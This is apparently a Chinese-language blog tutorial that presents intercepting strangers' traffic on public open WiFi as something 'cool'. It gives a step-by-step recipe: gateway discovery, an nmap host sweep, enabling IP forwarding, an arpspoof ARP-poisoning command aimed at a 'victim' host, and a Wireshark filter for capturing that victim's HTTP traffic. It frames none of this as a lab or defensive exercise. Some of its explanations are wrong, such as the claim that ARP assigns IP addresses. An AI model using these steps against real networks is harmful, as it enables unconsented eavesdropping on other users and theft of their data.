我们知道,如今如果我们中的任何人找到免费的开放式 WiFi,我们的幸福感就会更上一层楼。攻击使用我们正在使用的相同开放 WiFi 的人听起来不是很酷吗?如果是,那么让我们看看有什么方法可以让这件事发生。
我们将需要以下工具:
- Kali Linux 或其他安装了所需工具的Linux:Kali Linux 是高级渗透测试 Linux 发行版,用于渗透测试、道德黑客攻击和网络安全评估。
- Nmap: Nmap 是一个免费的开源网络扫描器。它用于通过发送数据包和分析响应来发现网络上的主机和服务。
- arpspoof:ARP代表A ddress [R esolution P rotocol。每当我们将设备连接到 WiFi 网络时,ARP 都会为我们分配一个唯一的 IP 地址,并将我们的设备 MAC 地址存储在 ARP 表中,arpspoof 只是欺骗这些请求。
- Wireshark:它是一个开源数据包分析器,用于网络分析和故障排除。
破解开放式 WiFi 的步骤
步骤 1:连接到目标网络并在终端中运行以下命令:
ip route
上面的命令用于查找我们的流量流经的网关地址。
步骤 2:下一步是使用 nmap 通过执行以下命令来查找连接到网络的不同主机:
nmap -sP -n "gateway address/ip range"
使用此命令,我们将找到所有连接到目标网络的主机及其 IP 地址和 MAC 地址。
第 3 步:使用以下命令启用 IP 转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
第 4 步:为了在我们的设备上获取受害者流量,我们将使用 arpspoof 命令。对于 arpspoof 命令,我们需要知道我们执行攻击的接口,为此运行以下命令:
ifconfig
现在运行以下命令:
arpspoof -i wlp3s0 -t "victim host ip address" -r "our ip address"
我们已经欺骗受害者的设备,他的路由器地址已更改为我们的 IP 地址,现在我们可以拦截所有流量。
第 5 步:最后拦截受害者的流量,我们将使用 Wireshark,我们所要做的就是使用受害者的 IP 地址。假设我们只想拥有 HTTP 流量,我们可以使用以下查询:
http && ip.addr == "victim's ip address"